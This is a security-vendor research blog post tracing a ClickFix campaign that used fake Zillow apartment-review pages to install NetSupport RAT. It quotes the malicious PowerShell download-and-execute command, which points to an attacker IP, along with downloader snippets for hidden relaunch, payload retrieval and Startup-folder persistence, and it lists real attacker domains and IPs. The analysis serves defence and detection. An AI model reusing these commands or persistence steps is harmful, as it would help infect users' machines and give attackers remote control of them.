Skip to content

From Fake Zillow Pages to ClickFix NetSupport RAT

EfficientIP Research Labs traced a ClickFix NetSupport RAT campaign from fake Zillow pages to its malware infrastructure. Passive DNS, Certificate Transparency and application analysis connected related domains and supported DNS-based protection.

November 12, 2026 | Written by: Mathieu De Amorim |

Summary

Fake Zillow Verification Prompt Delivering Clickfix Netsupport Rat

Key Takeaways

  • Fake apartment-review pages used a verification prompt to trick users into running a command that installed NetSupport RAT.
  • Remote access to a work computer can expose sensitive company information available to the compromised user.
  • EfficientIP combined DNS history, certificate records and application analysis to uncover related attack infrastructure.

Executive Summary

A routine apartment search could give attackers control of a company computer. EfficientIP Research Labs investigated a campaign that used fake Zillow apartment-review pages to trick visitors into installing remote-control software. Disguised as a verification step, the instructions led users to run a command that downloaded and installed the attackers’ software.

The analysis showed how the software could run out of sight and restart whenever the user logged in, helping attackers maintain access. Researchers also connected the fake websites to a wider network of attack infrastructure. By combining historical DNS activity, public website certificate records and analysis of the malicious pages and software, they identified additional domains beyond those initially observed.

If successful on a work computer, the attack could allow bad actors to steal sensitive company information available to the employee. The investigation did not confirm victims or data theft, but it demonstrates how personal browsing can create business exposure. For security teams, the findings also show the value of investigating connected infrastructure: identifying related malicious domains can help extend protection beyond the first website detected.

How Can an Innocent Apartment Search Lead to ClickFix NetSupport RAT?

Imagine a CFO searching for an apartment on his work laptop. He opens what looks like a page from Zillow, a US real estate platform for homes and rentals. Before he can continue, a verification window asks him to follow a few keyboard steps. In this hypothetical scenario, a routine apartment search becomes the starting point for a ClickFix NetSupport RAT infection.

He follows the instructions and unknowingly runs a command that downloads remote-control software. Deployed as a remote access trojan (RAT), this software lets an attacker take control of his computer and steal sensitive company files available on the laptop.

While the CFO’s story is hypothetical, the trap is real. EfficientIP Research Labs investigated a campaign that used fake Zillow pages and deceptive verification prompts to deliver NetSupport RAT. The investigation follows the attack from those pages to the downloader and remote-access infrastructure, showing how DNS threat intelligence, certificate records and application analysis helped researchers connect the evidence.

From Fake Verification to Remote Access

EfficientIP Research Labs identified recently registered .sbs domains posing as Zillow apartment-review pages. Each malicious website reproduced the same design and used an identical ClickFix attack to deliver NetSupport RAT.

ClickFix is a social-engineering technique that tricks users into running commands to fix a supposed problem or complete a verification.

Fake Zillow Captcha Popup Instructing Users to Execute Keyboard Commands As Part of a Fraudulent Verification Process
Figure 1. The fake Zillow-style verification prompt.

When a user clicks Continue, the page copies a PowerShell command to the clipboard and asks them to run it through:
Win+R → Ctrl+V → Enter

The command is:
powershell -ExecutionPolicy Bypass "iwr 1495423691/winup2 -OutFile $env:temp\winup2.ps1 -UseBasicParsing;&$env:temp\winup2.ps1"

It downloads the script to the temporary folder and executes it. The address appears as a decimal DWORD, a numeric representation of the IPv4 address:
1495423691 → 89.34.90.203

PowerShell Downloader Analysis

The /winup2 script downloads and installs NetSupport RAT, then configures it to run again when the user logs in.

Relaunching PowerShell

The script relaunches itself with ExecutionPolicy Bypass and hides the PowerShell window:
Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`" -Elevated" -WindowStyle Hidden

Preparing the installation directories

It sets %APPDATA%\NetSupport as the installation directory and prepares temporary directories under %TEMP%:
$appData = [Environment]::GetFolderPath('ApplicationData')
$installDir = Join-Path $appData 'NetSupport'
tempFolder="env:TEMP\AppSetup"

Retrieving the payload with Python

The PowerShell script writes an embedded Python script to disk and runs it with a downloaded Python runtime. The Python code retrieves the next-stage payload:
url = "http://89.34.90.203/mestos2.zip"
urllib.request.urlretrieve(url, zip_path)

Installing the downloaded files

The script extracts the archive into a temporary directory and copies its contents to %APPDATA%\NetSupport. It then searches for Service.exe and creates a shortcut in the Windows Startup folder:
$startupFolder = Join-Path $appData 'Microsoft\Windows\Start Menu\Programs\Startup'
$lnkPath = Join-Path $startupFolder 'NetSupport.lnk'

Establishing persistence

The shortcut points to the downloaded Service.exe, allowing it to run at user logon:
$shortcut.TargetPath = $exePath
$shortcut.WorkingDirectory = $installDir
$shortcut.Save()

Launching the payload

Finally, the script launches the payload with its window hidden:
Start-Process -FilePath $exePath -WorkingDirectory $installDir -WindowStyle Hidden

Connecting the Downloader to Remote Access

The script combines PowerShell and Python to download and install NetSupport RAT. A Startup shortcut provides persistence. The hard-coded address, 89.34.90.203/mestos2.zip, gives researchers another clue linking the downloader to the NetSupport deployment.

NetSupport Manager is legitimate remote administration software. In this campaign, attackers abused it for malicious remote control.

The deployed client’s configuration also identified two gateway domains:
asgomd[.]com
asgrsv[.]com


These settings connected the installed client to further remote-access infrastructure.

When a Personal Search Exposes Company Information

Return to the CFO’s laptop. The apartment search is personal, but the files available on the device may belong to the company. Remote control could allow an attacker to access that information within the compromised user’s permissions.

The investigation documents the infection mechanism and configured remote-access infrastructure. It does not establish an actual CFO victim or confirmed data theft.

For organizations investigating suspicious activity, a DNS Risk Assessment can help identify threats and areas needing further analysis.

Different Domains, One Campaign

The domains initially appeared unrelated. They did not consistently share authoritative nameservers, and their DNS records resolved to different Cloud flare IP addresses.

The website and payload evidence told a clearer story. The domains shared:

  • The same fake Zillow website template and ClickFix mechanism.
  • The same encoded IP address and download path.
  • A common NetSupport deployment.

Together, these similarities strongly link the analysed domains to the same campaign. Shared Cloud flare addresses alone would not establish that connection or prove malicious activity.

Related research into a ViperSoftX infostealer variant shows another application of EfficientIP’s DNS intelligence to malware investigations.

Following the ClickFix NetSupport RAT Infrastructure Trail

The investigation began with a small number of domains observed in EfficientIP Passive DNS. The Threat team subsequently blocked them through DNS Threat Pulse.

Passive DNS records observed domain resolutions over time. The initial dataset revealed a recurring naming pattern:
apartments-review[0-9]+.sbs

Researchers used this pattern to search for related domains. Current DNS records alone offered limited visibility: the domains were short-lived, and Cloud flare obscured their underlying hosting infrastructure.

Certificate Transparency (CT) provided another source. CT logs contain public TLS certificate records, including domain names.

Instead of generating potentially hundreds of millions of matching names and querying DNS for each, researchers searched CT datasets collected by EfficientIP’s Security Team. 

Obtaining a publicly trusted TLS certificate generally creates a record in Certificate Transparency logs. These records give researchers another way to discover related domains, including those not yet observed in EfficientIP’s Passive DNS data. 

The CT search revealed additional  apartments-review*.sbs domains absent from the initial Passive DNS dataset. Certificate records provided leads for further analysis, rather than proof of malicious activity on their own.

Bar Chart Showing the Number of Exchanges Per Date from 2023 07 17 to 2023 09 20 with Values 5 2 7 7 3 2 2 3 2 Respectively
Figure 2. Daily observations recorded in EfficientIP Passive DNS. These counts represent DNS observations, not confirmed victims or infections.

Identified Domains and Supporting Infrastructure

The table preserves the campaign’s landing-page indicators and supporting infrastructure from the original analysis. Cloudflare IP addresses may also serve unrelated websites.

Domain or wildcard indicatorObserved IP address
*.apartments-review8509831.sbs104.21.84.18
*.apartments-review8509831.sbs172.67.184.196
*.verify.apartments-review8509831.sbs104.21.84.18
*.verify.apartments-review8509831.sbs172.67.184.196
*.apartments-review28829031.sbs104.21.92.237
*.apartments-review28829031.sbs172.67.200.29
*.apartments-review6125431.sbs104.21.55.29
*.apartments-review6125431.sbs172.67.170.85
*.apartments-review261679200.sbs188.114.96.2
*.apartments-review261679200.sbs188.114.97.2
*.apartments-review261679200.sbs188.114.96.11
*.apartments-review261679200.sbs104.21.43.189
*.apartments-review261679200.sbs172.67.184.77
*.apartments-review2138768.sbs104.21.21.223
*.apartments-review2138768.sbs172.67.200.217
*.apartments-review2138768.sbs188.114.96.2
*.apartments-review2138768.sbs188.114.97.2
*.apartments-review2138768.sbs188.114.96.3
*.apartments-review2138768.sbs188.114.97.3
*.apartments-review261634860.sbs188.114.96.11
*.apartments-review261634860.sbs188.114.97.11
*.apartments-review261634860.sbs188.114.96.3
*.apartments-review261634860.sbs188.114.97.3
*.apartments-review261634860.sbs104.21.34.213
*.apartments-review261634860.sbs172.67.165.148
*.apartments-review9384643.sbs172.64.80.1
*.apartments-review9384643.sbs188.114.96.11
*.apartments-review9384643.sbs188.114.97.11
asgomd.com45.227.254.179
bksju.com45.227.254.179
bksnb.com45.227.254.179
decrmd.com45.227.254.179
jpgomd.com45.227.254.179
nogomd.com45.227.254.179
asgrsv.com45.227.254.10
decrsv.com45.227.254.10
jpgrsv.com45.227.254.10

Turning Intelligence into Protection

This activity may belong to a broader ClickFix campaign whose infrastructure continues to change. EfficientIP monitors related domains using Passive DNS, CT and other threat intelligence sources, adding newly identified malicious domains to DNS Threat Pulse.

DNS Client Query Filtering lets organizations apply policies that restrict access to malicious destinations.

However, the downloader connects directly to an IP address. DNS filtering alone cannot stop that transfer. Endpoint controls and monitoring for unexpected script execution remain essential. Employees should also recognize and report pages asking them to paste commands into system tools.

This campaign illustrates how EfficientIP’s 360° DNS Security solution complements endpoint protection.

Strengthen Protection Against ClickFix NetSupport RAT

A convincing verification prompt can turn an everyday search into a route to remote access. Connecting DNS observations, certificate records and application evidence helps researchers uncover the infrastructure behind that risk.

For broader research into malicious infrastructure, read the H1 2026 DNS Threat Intelligence Report.

FAQ

Strengthen Protection Against ClickFix NetSupport RAT

Explore how EfficientIP DNS Threat Pulse provides updated malicious-domain intelligence to support DNS filtering and help protect users from attacker infrastructure.

Talk to an expert